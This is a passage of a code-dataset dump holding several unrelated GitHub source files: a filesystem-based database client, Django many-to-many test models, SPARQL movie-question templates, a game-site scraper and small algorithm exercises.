result_str=input(tip_message)\n #2.针对用户的输入进行判断,如果用户输入了内容,之间返回结果\n if len(result_str)>0:\n return result_str\n #3.如果用户没有输入内容,则返回\"字典中原有的值\"\n else:\n return dict_value\n ","repo_name":"6iujiale/All_Projects","sub_path":"Python/小程序_py/名片管理系统_黑马/cards_tools.py","file_name":"cards_tools.py","file_ext":"py","file_size_in_byte":3879,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72988759467","text":"\"\"\"\nAn implementation of the dbio interface that persists data to files on disk.\n\"\"\"\nimport os, json\nfrom pathlib import Path\nfrom copy import deepcopy\nfrom collections.abc import Mapping, MutableMapping, Set\nfrom typing import Iterator, List\nfrom . import base\n\nfrom nistoar.pdr.utils import read_json, write_json\nfrom nistoar.base.config import ConfigurationException, merge_config\n\nclass FSBasedDBClient(base.DBClient):\n \"\"\"\n an implementation of DBClient in which the data is persisted to flat files on disk.\n \"\"\"\n\n def __init__(self, dbroot: str, config: Mapping, projcoll: str, foruser: str = base.ANONYMOUS):\n self._root = Path(dbroot)\n if not self._root.is_dir():\n raise base.DBIOException(\"FSBasedDBClient: %s: does not exist as a directory\" % dbroot)\n super(FSBasedDBClient, self).__init__(config, projcoll, self._root, foruser)\n\n def _ensure_collection(self, collname):\n collpath = self._root / collname\n if not collpath.exists():\n os.mkdir(collpath)\n\n def _read_rec(self, collname, id):\n recpath = self._root / collname / (id+\".json\")\n if not recpath.is_file():\n return None\n try:\n return read_json(str(recpath))\n except ValueError as ex:\n raise DBIOException(id+\": Unable to read DB record as JSON: \"+str(ex))\n except IOError as ex:\n raise DBIOException(str(recpath)+\": file locking error: \"+str(ex))\n\n def _write_rec(self, collname, id, data):\n self._ensure_collection(collname)\n recpath = self._root / collname / (id+\".json\")\n exists = recpath.exists()\n try: \n write_json(data, str(recpath))\n except Exception as ex:\n raise DBIOException(id+\": Unable to write DB record: \"+str(ex))\n return not exists\n\n def _next_recnum(self, shoulder):\n num = self._read_rec(\"nextnum\", shoulder)\n if num is None:\n num = 0\n num += 1\n self._write_rec(\"nextnum\", shoulder, num)\n return num\n\n def _try_push_recnum(self, shoulder, recnum):\n recpath = self._root / \"nextnum\" / (shoulder+\".json\")\n if not recpath.exists():\n return\n num = self._read_rec(\"nextnum\", shoulder)\n if num >= 0 and num == recnum:\n num -= 1\n self._write_rec(\"nextnum\", shoulder, num)\n\n def _get_from_coll(self, collname, id) -> MutableMapping:\n return self._read_rec(collname, id)\n\n def _select_from_coll(self, collname, incl_deact=False, **constraints) -> Iterator[MutableMapping]:\n collpath = self._root / collname\n if not collpath.is_dir():\n return\n for root, dirs, files in os.walk(collpath):\n for fn in files:\n try:\n rec = read_json(os.path.join(root, fn))\n except ValueError:\n # skip over corrupted records\n continue\n\n if rec.get('deactivated') and incl_deact:\n continue\n cancel = False\n for ck, cv in constraints.items():\n if rec.get(ck) != cv:\n cancel = True\n break\n if cancel:\n continue\n yield rec\n\n def _select_prop_contains(self, collname, prop, target, incl_deact=False) -> Iterator[MutableMapping]:\n collpath = self._root / collname\n if not collpath.is_dir():\n return\n for root, dirs, files in os.walk(collpath):\n for fn in files:\n try:\n recf = os.path.join(root, fn)\n rec = read_json(recf)\n except ValueError:\n # skip over corrupted records\n continue\n except IOError as ex:\n raise DBIOException(recf+\": file locking error: \"+str(ex))\n\n if rec.get('deactivated') and not incl_deact:\n continue\n if prop in rec and isinstance(rec[prop], (list, tuple)) and target in rec[prop]:\n yield rec\n\n def _delete_from(self, collname, id):\n recpath = self._root / collname / (id+\".json\")\n if recpath.is_file():\n recpath.unlink()\n shldr, num = self._parse_id(id)\n if shldr:\n self._try_push_recnum(shldr, num)\n return True\n return False\n\n def _upsert(self, coll: str, recdata: Mapping) -> bool:\n self._ensure_collection(coll)\n try:\n return self._write_rec(coll, recdata['id'], recdata)\n except KeyError:\n raise base.DBIOException(\"_upsert(): record is missing 'id' property\")\n\n def select_records(self, perm: base.Permissions=base.ACLs.OWN) -> Iterator[base.ProjectRecord]:\n if isinstance(perm, str):\n perm = [perm]\n if isinstance(perm, (list, tuple)):\n perm = set(perm)\n\n collpath = self._root / self._projcoll\n if not collpath.is_dir():\n return\n for root, dirs, files in os.walk(collpath):\n for fn in files:\n try:\n recf = os.path.join(root, fn)\n rec = base.ProjectRecord(self._projcoll, read_json(recf), self)\n except ValueError:\n # skip over corrupted records\n continue\n except IOError as ex:\n raise base.DBIOException(recf+\": file locking error: \"+str(ex))\n for p in perm:\n if rec.authorized(p):\n yield rec\n break\n\n def _save_action_data(self, actdata: Mapping):\n self._ensure_collection(base.PROV_ACT_LOG)\n try:\n recpath = self._root / base.PROV_ACT_LOG / (actdata['subject']+\".lis\")\n return self._append_json_to_listfile(actdata, recpath)\n except KeyError as ex:\n raise ValueError(\"_save_action_data(): Action is missing subject id\")\n except Exception as ex:\n raise base.DBIOException(actdata['subject']+\": Unable to append action: \"+str(ex)) from ex\n\n # the action log list file contains one JSON object per line\n def _append_json_to_listfile(self, data: Mapping, outpath: Path):\n exists = outpath.exists()\n with open(outpath, 'a') as fd:\n fd.write(json.dumps(data))\n fd.write(\"\\n\")\n return not exists\n\n # the action log list file contains one JSON object per line\n def _load_from_listfile(self, inpath: Path):\n if not inpath.exists():\n return []\n with open(inpath) as fd:\n return [json.loads(line.strip()) for line in fd]\n \n def _select_actions_for(self, id: str) -> List[Mapping]:\n self._ensure_collection(base.PROV_ACT_LOG)\n recpath = self._root / base.PROV_ACT_LOG / (id+\".lis\")\n if not recpath.is_file():\n return []\n try:\n return self._load_from_listfile(recpath)\n except Exception as ex:\n raise base.DBIOException(id+\": Unable to read actions: \"+str(ex))\n\n def _delete_actions_for(self, id):\n self._ensure_collection(base.PROV_ACT_LOG)\n recpath = self._root / base.PROV_ACT_LOG / (id+\".lis\")\n if recpath.is_file():\n recpath.unlink()\n\n def _save_history(self, histrec):\n if not histrec.get('recid'):\n raise ValueError(\"_save_history(): History is missing record id\")\n self._ensure_collection(\"history\")\n\n history = []\n recpath = self._root / 'history' / (histrec['recid']+\".json\")\n if recpath.is_file():\n try:\n history = read_json(str(recpath))\n except Exception as ex:\n raise base.DBIOException(histrec['recid']+\": Failed to read old history entries: \"+str(ex))\n elif recpath.exists():\n raise base.DBIOException(str(recpath)+\": not a file\")\n \n history.append(histrec)\n try:\n write_json(history, str(recpath))\n except Exception as ex:\n raise base.DBIOException(histrec['recid']+\": Failed to write history entries: \"+str(ex))\n\nclass FSBasedDBClientFactory(base.DBClientFactory):\n \"\"\"\n a DBClientFactory that creates FSBasedDBClient instances in which records are stored in JSON\n files on disk under a specified directory.\n\n In addition to :py:method:`common configuration parameters `, \n this implementation also supports:\n\n ``db_root_dir``\n the root directory where the database's record files will be store below. If not specified,\n this value must be provided to the constructor directly. \n \"\"\"\n\n def __init__(self, config: Mapping, dbroot: str = None):\n \"\"\"\n Create the factory with the given configuration.\n\n :param dict config: the configuration parameters used to configure clients\n :param str dbroot: the root directory to use to store database record files below; if \n not provided, the value of the ``db_root_dir`` configuration \n parameter will be used. \n :raise ConfigurationException: if the database's root directory is provided neither as an\n argument nor a configuration parameter.\n :raise DBIOException: if the specified root directory does not exist\n \"\"\"\n super(FSBasedDBClientFactory, self).__init__(config)\n if not dbroot:\n dbroot = self.cfg.get(\"db_root_dir\")\n if not dbroot:\n raise ConfigurationException(\"Missing required configuration parameter: db_root_dir\")\n if not os.path.isdir(dbroot):\n raise base.DBIOException(\"FSBasedDBClientFactory: %s: does not exist as a directory\" % dbroot)\n self._dbroot = dbroot\n\n def create_client(self, servicetype: str, config: Mapping = {}, foruser: str = base.ANONYMOUS):\n cfg = merge_config(config, deepcopy(self._cfg))\n return FSBasedDBClient(self._dbroot, cfg, servicetype, foruser)\n\n","repo_name":"usnistgov/oar-pdr-py","sub_path":"python/nistoar/midas/dbio/fsbased.py","file_name":"fsbased.py","file_ext":"py","file_size_in_byte":10235,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"42657848661","text":"class Solution:\n def isValid_recursion_firstattempt(self, s): #68ms, 5%\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n #print(s)\n if s == \"\":\n return True\n elif \"()\" in s or \"{}\" in s or \"[]\" in s:\n return self.isValid(s.replace(\"()\", \"\").replace(\"{}\", \"\").replace(\"[]\", \"\"))\n else:\n return False\n \n def isValid_stack(self, s): #36 ms\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n stack = []\n open_paren = ['(', '{', '[']\n close_paren = [')', '}', ']']\n \n for letter in s:\n if letter in open_paren:\n stack.append(letter)\n elif letter in close_paren:\n if stack == []:\n return False\n elif open_paren.index(stack.pop()) != close_paren.index(letter): #should be same, otherwise invalid\n return False\n return True if stack == [] else False\n","repo_name":"chrisspencer1013/fundamentals_practice","sub_path":"valid_parentheses.py","file_name":"valid_parentheses.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"36389061895","text":"#! /usr/bin/env python3\n\nimport json\n\nfrom dataclasses import dataclass, field\nfrom typing import Dict, List, Tuple\n\nfrom bs4 import BeautifulSoup # type: ignore\nfrom bs4.element import Tag # type: ignore\nfrom dataclasses_json import DataClassJsonMixin\n\nfrom ff14angler.constants.data_corrections import angler_bait_blacklisted_bait_id\nfrom ff14angler.constants.regex import angler_bait_metadata_catch_count_regex, non_number_replacement_regex\nfrom ff14angler.dataClasses.bait.baitId import BaitId\nfrom ff14angler.dataClasses.bait.baitProvider import BaitProvider\nfrom ff14angler.dataClasses.fish.fishProvider import FishProvider\nfrom ff14angler.dataClasses.fish.fishId import FishId\nfrom ff14angler.dataClasses.spot.spotBaitMetadata import SpotBaitMetadata\n\n\n@dataclass\nclass SpotCatchMetadata(DataClassJsonMixin):\n spot_available_fish: List[FishId] = field(default_factory=list)\n spot_effective_bait: List[BaitId] = field(default_factory=list)\n spot_fish_caught_per_bait: List[SpotBaitMetadata] = field(default_factory=list)\n\n @staticmethod\n async def _parse_angler_available_fish_from_spot_soup(soup: BeautifulSoup) -> List[FishId]:\n temp_fish_list: List[FishId] = []\n form = soup.find('form', {'name': 'spot_delete'})\n # noinspection SpellCheckingInspection\n body = form.find_all('tbody')[1]\n\n for tag in body.find_all('tr'): # type: Tag\n tds = tag.find_all('td')\n td2: Tag = tds[1]\n td4: Tag = tds[3]\n\n fish_angler_id: int = int(non_number_replacement_regex.sub(repl='', string=td2.find('a').attrs['href']))\n fish_angler_name: str = td2.text.strip()\n fish = await FishProvider.get_fish_from_angler_fish(fish_angler_id, fish_angler_name)\n\n tug_canvas = td4.find('canvas')\n if tug_canvas:\n canvas_data: str = tug_canvas.attrs['data-value']\n else:\n canvas_data = '{}'\n\n temp_fish_list.append(fish.fish_id)\n await fish.update_fish_with_tug_strength(json.loads(canvas_data))\n\n return temp_fish_list\n\n @staticmethod\n async def _parse_angler_effective_bait_from_spot_soup(soup: BeautifulSoup) -> Dict[int, BaitId]:\n temp_bait_map: Dict[int, BaitId] = dict()\n table = soup.find('table', {'id': 'effective_bait'})\n for row_num, row in enumerate(table.find_all('tr')): # type: int, Tag\n if row_num == 0:\n continue\n img_holder = row.select('.clear_icon')\n if img_holder:\n bait_angler_id: int = int(\n non_number_replacement_regex.sub(\n repl='',\n string=img_holder[0].find('img').attrs['src']\n )\n )\n\n try:\n bait = BaitProvider.bait_holder[bait_angler_id]\n except KeyError:\n bait_angler_name: str = img_holder[0].attrs['title']\n bait = await BaitProvider.get_bait_from_angler_bait(bait_angler_id, bait_angler_name)\n await bait.update_bait_with_assume_is_mooch_fish()\n\n temp_bait_map[bait.bait_id.bait_angler_bait_id] = bait.bait_id\n\n return temp_bait_map\n\n @classmethod\n async def _parse_spot_bait_metadata_average_time_to_catch(\n cls,\n spot_bait_metadata_map: Dict[int, SpotBaitMetadata],\n soup: BeautifulSoup\n ) -> List[SpotBaitMetadata]:\n # noinspection SpellCheckingInspection\n for td in soup.find_all('td', {'class': 'hooktime'}): # type: Tag\n bait_angler_id: int = int(\n non_number_replacement_regex.sub(\n repl='',\n string=td.find('a', {'class': 'clear_icon'}).attrs['href']\n )\n )\n\n try:\n bait = spot_bait_metadata_map[bait_angler_id]\n except KeyError:\n if bait_angler_id in angler_bait_blacklisted_bait_id:\n continue\n raise\n\n # noinspection SpellCheckingInspection\n for a_tag in td.find_all('a', {'rsec': True}): # type: Tag\n fish_angler_id: int = int(non_number_replacement_regex.sub(repl='', string=a_tag.attrs['href']))\n for fish_info in bait.spot_angler_bait_fish_catch_info:\n if fish_info.spot_fish_id.fish_angler_fish_id == fish_angler_id:\n # noinspection SpellCheckingInspection\n fish_info.spot_angler_fish_average_seconds_to_hook = int(a_tag.attrs['rsec'])\n break\n\n return list(spot_bait_metadata_map.values())\n\n @staticmethod\n async def _parse_caught_count_caught_total(data: str) -> Tuple[int, int]:\n match = angler_bait_metadata_catch_count_regex.search(data)\n if match:\n caught_count, caught_total = match.groups() # type: str, str\n return int(caught_count), int(caught_total)\n raise ValueError(f'Could not parse spot caught count total: {data}')\n\n @classmethod\n async def _parse_spot_bait_metadata(\n cls,\n available_fish: List[FishId],\n effective_bait: Dict[int, BaitId],\n soup: BeautifulSoup\n ) -> List[SpotBaitMetadata]:\n spot_bait_metadata_map: Dict[int, SpotBaitMetadata] = dict()\n table = soup.find('table', {'id': 'effective_bait'})\n for row_num, row in enumerate(table.find_all('tr')): # type: int, Tag\n if row_num == 0:\n continue\n for cell_num, cell in enumerate(row.find_all('td')):\n if cell_num == 0:\n bait_img = row.select('.clear_icon')[0].find('img')\n bait_angler_id: int = int(non_number_replacement_regex.sub(repl='', string=bait_img.attrs['src']))\n bait_metadata = SpotBaitMetadata(effective_bait[bait_angler_id])\n spot_bait_metadata_map[bait_angler_id] = bait_metadata\n continue\n\n fish_rate = cell.find('div', {'class': 'fish_rate clear_icon'})\n if fish_rate:\n if float(fish_rate.find('canvas').attrs['value']) <= 0:\n continue\n data: str = fish_rate.attrs['title'].split()[-1]\n caught_count, caught_total = await cls._parse_caught_count_caught_total(data)\n caught_percent: str = data.replace(f'({caught_count}/{caught_total})', '').strip()\n\n # noinspection PyUnboundLocalVariable\n bait_metadata.update_spot_bait_metadata_with_spot_bait_fish_caught(\n caught_count,\n caught_percent,\n caught_total,\n available_fish[cell_num - 1]\n )\n\n return await cls._parse_spot_bait_metadata_average_time_to_catch(spot_bait_metadata_map, soup)\n\n @classmethod\n async def get_spot_catch_metadata_from_spot_soup(cls, soup: BeautifulSoup):\n available_fish = await cls._parse_angler_available_fish_from_spot_soup(soup)\n effective_bait = await cls._parse_angler_effective_bait_from_spot_soup(soup)\n\n return cls(\n spot_available_fish=available_fish,\n spot_effective_bait=list(effective_bait.values()),\n spot_fish_caught_per_bait=await cls._parse_spot_bait_metadata(available_fish, effective_bait, soup)\n )\n","repo_name":"joshua-software-dev/FF14AnglerParser","sub_path":"ff14angler/dataClasses/spot/spotCatchMetadata.py","file_name":"spotCatchMetadata.py","file_ext":"py","file_size_in_byte":7515,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72944154988","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\nrule based query generation\n------------\nmovie\n\"\"\"\nfrom refo import Star, Any\nfrom inference.basic_inference import W, Rule, KeywordRule\nfrom inference.basic_inference import SPARQL_PREFIX, SPARQL_ASK_TEM, SPARQL_COUNT_TEM, SPARQL_SELECT_TEM,SPARQL_SELECT_TEM_FD\nfrom inference.basic_inference import pos_person, pos_book_or_movie, pos_number, person_entity, book_or_movie_entity, number_entity\nfrom inference.basic_inference import MoviePropertyValueSet\nimport re\n\"\"\"\nmovie information\n\"\"\"\n\nmovie = (W('movie')|W('movies')|W('film')|W('films')|W(\"电影\") | W(\"影片\") | W(\"片子\") | W(\"片\") | W(\"剧\"))\nactor = (W('cast')|W('act')|W('actor')|W('acts')|W('acted')|W('star')|W(\"演了\") | W(\"出演\") | W('主演'))\nwriter = (W('write')|W('wrote')|W('written')|W('writer')|W('编剧') | W('写作') | W('写了'))\ndirector = (W('direct')|W('director')|W('directs')|W('directed')|W('导演') | W('指导'))\ncountry = (W('country')|W('area') |W('上映地区') | W('上映国家'))\nlanguage = (W('language')|W('语言') | W('上映语言'))\nduration = (W('duration')|W('多长时间') | W('时长')) # 时长\nsummary = (W('introduction') | W('abstract') |W('介绍') | W('简介')) # 简介\nmovie_info = ( country | language | duration | summary )\nhigher = (W(\"大于\") | W(\"高于\"))\nlower = (W(\"小于\") | W(\"低于\"))\ncompare = (higher | lower)\nwhen = (W(\"何时\") | W(\"时候\"))\nwhere = (W(\"哪里\") | W(\"哪儿\") | W(\"何地\") | W(\"何处\") | W(\"在\") + W(\"哪\"))\n\n\"\"\"\nSPARQL Template\n\"\"\"\nclass QuestionSet:\n def __init__(self):\n pass\n\n @staticmethod\n def has_movie_info(word_objects):\n \"\"\"\n The basic information about a moive某电影的基本信息\n :param word_objects:\n :return:\n \"\"\"\n keyword = None\n for r in basic_movie_info_fd:\n keyword = r.apply(word_objects)\n if keyword is not None:\n keyword_split = re.split(\"( )+\", keyword)\n keyword_db = keyword_split.pop()\n keyword_split.pop()\n keyword_douban = keyword_split.pop()\n break\n\n select = u\"?x\"\n sparql = None\n for w in word_objects:\n if w.pos == pos_book_or_movie:\n e_douban = u\"?s :movie_info_name '{movie}'.\" \\\n u\"?s {keyword} ?x.\".format(movie=w.token, keyword=keyword_douban)\n e_db = u\"?m rdfs:label '{movie}'@en.\\n\" \\\n u\"?m dbo:starring ?p.\\n\" \\\n u\"?m {keyword} ?x\".format(movie=re.sub(r\"(\\w)([A-Z])\", r\"\\1 \\2\", w.token), keyword=keyword_db)\n sparql = SPARQL_SELECT_TEM_FD.format(prefix=SPARQL_PREFIX,\n select=select,\n expression_douban=e_douban,\n expression_db=e_db)\n\n break\n\n return sparql\n\n @staticmethod\n def has_actor(word_objects):\n \"\"\"\n What are actors in a movie某电影有哪些演员\n :param word_objects:\n :return:\n \"\"\"\n select = u\"?x\"\n sparql = None\n for w in word_objects:\n if w.pos == pos_book_or_movie:\n e_douban = u\"?m :movie_info_name '{movie}'.\" \\\n u\"?m :has_actor ?a.\" \\\n u\"?a :movie_person_name ?x\".format(movie=w.token)\n e_db = u\"?m rdfs:label '{movie}'@en.\\n\" \\\n u\"?m dbo:starring ?p.\\n\" \\\n u\"?p foaf:name ?x\".format(movie=re.sub(r\"(\\w)([A-Z])\", r\"\\1 \\2\", w.token))\n sparql = SPARQL_SELECT_TEM_FD.format(prefix=SPARQL_PREFIX,\n select=select,\n expression_douban=e_douban,\n expression_db=e_db)\n break\n\n return sparql\n\n @staticmethod\n def has_writer(word_objects):\n \"\"\"\n What are writers in a movie某电影有哪些编剧\n :param word_objects:\n :return:\n \"\"\"\n select = u\"?x\"\n sparql = None\n for w in word_objects:\n if w.pos == pos_book_or_movie:\n e_douban = u\"?m :movie_info_name '{movie}'.\" \\\n u\"?m :has_writer ?a.\" \\\n u\"?a :movie_person_name ?x\".format(movie=w.token)\n e_db = u\"?m rdfs:label '{movie}'@en.\\n\" \\\n u\"?m dbo:writer ?p.\\n\" \\\n u\"?p foaf:name ?x\".format(movie=re.sub(r\"(\\w)([A-Z])\", r\"\\1 \\2\", w.token))\n sparql = SPARQL_SELECT_TEM_FD.format(prefix=SPARQL_PREFIX,\n select=select,\n expression_douban=e_douban,\n expression_db=e_db)\n break\n\n return sparql\n\n @staticmethod\n def has_director(word_objects):\n \"\"\"\n What a director in a moive某电影有哪些导演\n :param word_objects:\n :return:\n \"\"\"\n select = u\"?x\"\n sparql = None\n for w in word_objects:\n if w.pos == pos_book_or_movie:\n e_douban = u\"?m :movie_info_name '{movie}'.\\n\" \\\n u\"?m :has_director ?a.\\n\" \\\n u\"?a :movie_person_name ?x\".format(movie=w.token)\n e_db = u\"?m rdfs:label '{movie}'@en.\\n\" \\\n u\"?m dbo:director ?p.\\n\" \\\n u\"?p foaf:name ?x\".format(movie=re.sub(r\"(\\w)([A-Z])\", r\"\\1 \\2\", w.token))\n sparql = SPARQL_SELECT_TEM_FD.format(prefix=SPARQL_PREFIX,\n select=select,\n expression_douban=e_douban,\n expression_db=e_db)\n break\n\n return sparql\n\n\nmovie_info_rules_fd = [\n Rule(condition_num=11, condition=book_or_movie_entity + Star(Any(), greedy=False) + movie_info + Star(Any(), greedy=False), action=QuestionSet.has_movie_info),\n Rule(condition_num=11,condition=(book_or_movie_entity + Star(Any(), greedy=False) + actor + Star(Any(), greedy=False)) | (actor + Star(Any(), greedy=False) + book_or_movie_entity + Star(Any(), greedy=False)), action=QuestionSet.has_actor),\n Rule(condition_num=11,condition=(book_or_movie_entity + Star(Any(), greedy=False) + writer + Star(Any(), greedy=False)) | (writer + Star(Any(), greedy=False) + book_or_movie_entity + Star(Any(), greedy=False)), action=QuestionSet.has_writer),\n Rule(condition_num=11,condition=(book_or_movie_entity + Star(Any(), greedy=False) + director + Star(Any(), greedy=False)) | (writer + Star(Any(), greedy=False) + book_or_movie_entity) + Star(Any(), greedy=False), action=QuestionSet.has_director),\n]\n\nbasic_movie_info_fd = [\n KeywordRule(condition=(book_or_movie_entity + Star(Any(), greedy=False) + country + Star(Any(), greedy=False))|( country + Star(Any(), greedy=False) + book_or_movie_entity + Star(Any(), greedy=False)), action=MoviePropertyValueSet.return_movie_info_country_value_FD),\n KeywordRule(condition=(book_or_movie_entity + Star(Any(), greedy=False) + language + Star(Any(), greedy=False))|( language + Star(Any(), greedy=False) + book_or_movie_entity + Star(Any(), greedy=False)), action=MoviePropertyValueSet.return_movie_info_language_value_FD),\n KeywordRule(condition=(book_or_movie_entity + Star(Any(), greedy=False) + duration + Star(Any(), greedy=False))|( duration + Star(Any(), greedy=False) + book_or_movie_entity + Star(Any(), greedy=False)), action=MoviePropertyValueSet.return_movie_info_duration_value_FD),\n KeywordRule(condition=(book_or_movie_entity + Star(Any(), greedy=False) + summary + Star(Any(), greedy=False))|( summary + Star(Any(), greedy=False) + book_or_movie_entity + Star(Any(), greedy=False)), action=MoviePropertyValueSet.return_movie_info_summary_value_FD),\n]\n","repo_name":"amitmaharana/bilingual-qald","sub_path":"query/inference/movie_info_template_fd.py","file_name":"movie_info_template_fd.py","file_ext":"py","file_size_in_byte":8113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6305995815","text":"from datetime import datetime\n\nfrom django.db import models\n\n\n# M2M described on one of the models\nclass Person(models.Model):\n name = models.CharField(max_length=128)\n\n class Meta:\n ordering = (\"name\",)\n\n\nclass PersonChild(Person):\n pass\n\n\nclass Group(models.Model):\n name = models.CharField(max_length=128)\n members = models.ManyToManyField(Person, through=\"Membership\")\n custom_members = models.ManyToManyField(\n Person, through=\"CustomMembership\", related_name=\"custom\"\n )\n nodefaultsnonulls = models.ManyToManyField(\n Person,\n through=\"TestNoDefaultsOrNulls\",\n related_name=\"testnodefaultsnonulls\",\n )\n\n class Meta:\n ordering = (\"name\",)\n\n\nclass Membership(models.Model):\n person = models.ForeignKey(Person, models.CASCADE)\n group = models.ForeignKey(Group, models.CASCADE)\n date_joined = models.DateTimeField(default=datetime.now)\n invite_reason = models.CharField(max_length=64, null=True)\n\n class Meta:\n ordering = (\"date_joined\", \"invite_reason\", \"group\")\n\n def __str__(self):\n return \"%s is a member of %s\" % (self.person.name, self.group.name)\n\n\nclass CustomMembership(models.Model):\n person = models.ForeignKey(\n Person,\n models.CASCADE,\n db_column=\"custom_person_column\",\n related_name=\"custom_person_related_name\",\n )\n group = models.ForeignKey(Group, models.CASCADE)\n weird_fk = models.ForeignKey(Membership, models.SET_NULL, null=True)\n date_joined = models.DateTimeField(default=datetime.now)\n\n class Meta:\n db_table = \"test_table\"\n ordering = [\"date_joined\"]\n\n def __str__(self):\n return \"%s is a member of %s\" % (self.person.name, self.group.name)\n\n\nclass TestNoDefaultsOrNulls(models.Model):\n person = models.ForeignKey(Person, models.CASCADE)\n group = models.ForeignKey(Group, models.CASCADE)\n nodefaultnonull = models.IntegerField()\n\n\nclass PersonSelfRefM2M(models.Model):\n name = models.CharField(max_length=5)\n friends = models.ManyToManyField(\"self\", through=\"Friendship\", symmetrical=False)\n sym_friends = models.ManyToManyField(\n \"self\", through=\"SymmetricalFriendship\", symmetrical=True\n )\n\n\nclass Friendship(models.Model):\n first = models.ForeignKey(\n PersonSelfRefM2M, models.CASCADE, related_name=\"rel_from_set\"\n )\n second = models.ForeignKey(\n PersonSelfRefM2M, models.CASCADE, related_name=\"rel_to_set\"\n )\n date_friended = models.DateTimeField()\n\n\nclass SymmetricalFriendship(models.Model):\n first = models.ForeignKey(PersonSelfRefM2M, models.CASCADE)\n second = models.ForeignKey(PersonSelfRefM2M, models.CASCADE, related_name=\"+\")\n date_friended = models.DateField()\n\n\n# Custom through link fields\nclass Event(models.Model):\n title = models.CharField(max_length=50)\n invitees = models.ManyToManyField(\n to=Person,\n through=\"Invitation\",\n through_fields=[\"event\", \"invitee\"],\n related_name=\"events_invited\",\n )\n\n\nclass Invitation(models.Model):\n event = models.ForeignKey(Event, models.CASCADE, related_name=\"invitations\")\n # field order is deliberately inverted. the target field is \"invitee\".\n inviter = models.ForeignKey(Person, models.CASCADE, related_name=\"invitations_sent\")\n invitee = models.ForeignKey(Person, models.CASCADE, related_name=\"invitations\")\n\n\nclass Employee(models.Model):\n name = models.CharField(max_length=5)\n subordinates = models.ManyToManyField(\n \"self\",\n through=\"Relationship\",\n through_fields=(\"source\", \"target\"),\n symmetrical=False,\n )\n\n class Meta:\n ordering = (\"pk\",)\n\n\nclass Relationship(models.Model):\n # field order is deliberately inverted.\n another = models.ForeignKey(\n Employee, models.SET_NULL, related_name=\"rel_another_set\", null=True\n )\n target = models.ForeignKey(Employee, models.CASCADE, related_name=\"rel_target_set\")\n source = models.ForeignKey(Employee, models.CASCADE, related_name=\"rel_source_set\")\n\n\nclass Ingredient(models.Model):\n iname = models.CharField(max_length=20, unique=True)\n\n class Meta:\n ordering = (\"iname\",)\n\n\nclass Recipe(models.Model):\n rname = models.CharField(max_length=20, unique=True)\n ingredients = models.ManyToManyField(\n Ingredient,\n through=\"RecipeIngredient\",\n related_name=\"recipes\",\n )\n\n class Meta:\n ordering = (\"rname\",)\n\n\nclass RecipeIngredient(models.Model):\n ingredient = models.ForeignKey(Ingredient, models.CASCADE, to_field=\"iname\")\n recipe = models.ForeignKey(Recipe, models.CASCADE, to_field=\"rname\")\n","repo_name":"django/django","sub_path":"tests/m2m_through/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","stars":74132,"dataset":"github-code","pt":"37"} +{"seq_id":"2851131977","text":"from linked_list import *\n\n\"\"\"\nhttps://leetcode.com/problems/delete-node-in-a-linked-list/\n\nWrite a function to delete a node (except the tail) in a singly linked list, given only access to that node.\n\nSupposed the linked list is 1 -> 2 -> 3 -> 4 and you are given the third node with value 3, the linked list should become 1 -> 2 -> 4 after calling your function.\n\"\"\"\n\ndef delete_node(node):\n node.data = node.next.data\n node.next = node.next.next\n\n\nif __name__ == '__main__':\n a = Node(1)\n b = Node(2)\n c = Node(3)\n d = Node(4)\n\n a.next = b\n b.next = c\n c.next = d\n\n delete_node(c)\n\n res = a\n\n while res:\n print(str(res.data))\n print('\\n')\n res = res.next\n","repo_name":"yanbinkang/problem-bank","sub_path":"leetcode/linked_lists/python/delete_node.py","file_name":"delete_node.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40207366417","text":"# Read and transform input\r\nN, M = map(int, input().split())\r\nconnections = [list(map(int, input().split())) for _ in range(M)]\r\nzeros_list = [0] * N\r\nresults_list = []\r\n\r\n# Initial values and firts call to check left\r\ndef check_clusters():\r\n n = 1\r\n count = 0\r\n row = 0\r\n check_left(n, count, row)\r\n\r\n# Check position and existence of each number\r\ndef check_left(n, count, row):\r\n if (n == connections[row][0]):\r\n count += 1\r\n zeros_list.pop()\r\n n += 1\r\n if row + 1 < M:\r\n row += 1\r\n check_left(n, count, row)\r\n else:\r\n results_list.append(count)\r\n zeros_list.pop()\r\n answer = sorted(results_list + zeros_list)\r\n showAns(answer)\r\n else:\r\n results_list.append(count)\r\n count = 0\r\n zeros_list.pop()\r\n n += 1\r\n check_left(n, count, row)\r\n\r\n# Print the numbers one by one\r\ndef showAns(answer):\r\n print(len(answer))\r\n for num in answer:\r\n print(num)\r\n\r\ncheck_clusters()","repo_name":"Thezra/Robotics_Advanced_Evaluation","sub_path":"Atod_Clusters/Atod_Clusters-Isabela_Lujan_Jaramillo.py","file_name":"Atod_Clusters-Isabela_Lujan_Jaramillo.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3362890932","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import RepeatedKFold\nfrom sklearn.preprocessing import StandardScaler\nfrom evalPredictions import testClassification\nfrom sklearn.utils import shuffle\nimport random\n\npredictions = []\nallSums = []\nx = []\ny = []\nz = []\nallScores = []\na = pd.read_csv('./new_csv_Data/bigboyBinClassificationOctTestTrain.csv', encoding = \"ISO-8859-1\")\ny_train = a[\"binSpread\"]\nxCols = []\nfor col in a.columns:\n if (\"aboveAvg\" in col):\n xCols.append(col)\nscaler = StandardScaler()\nX_train = 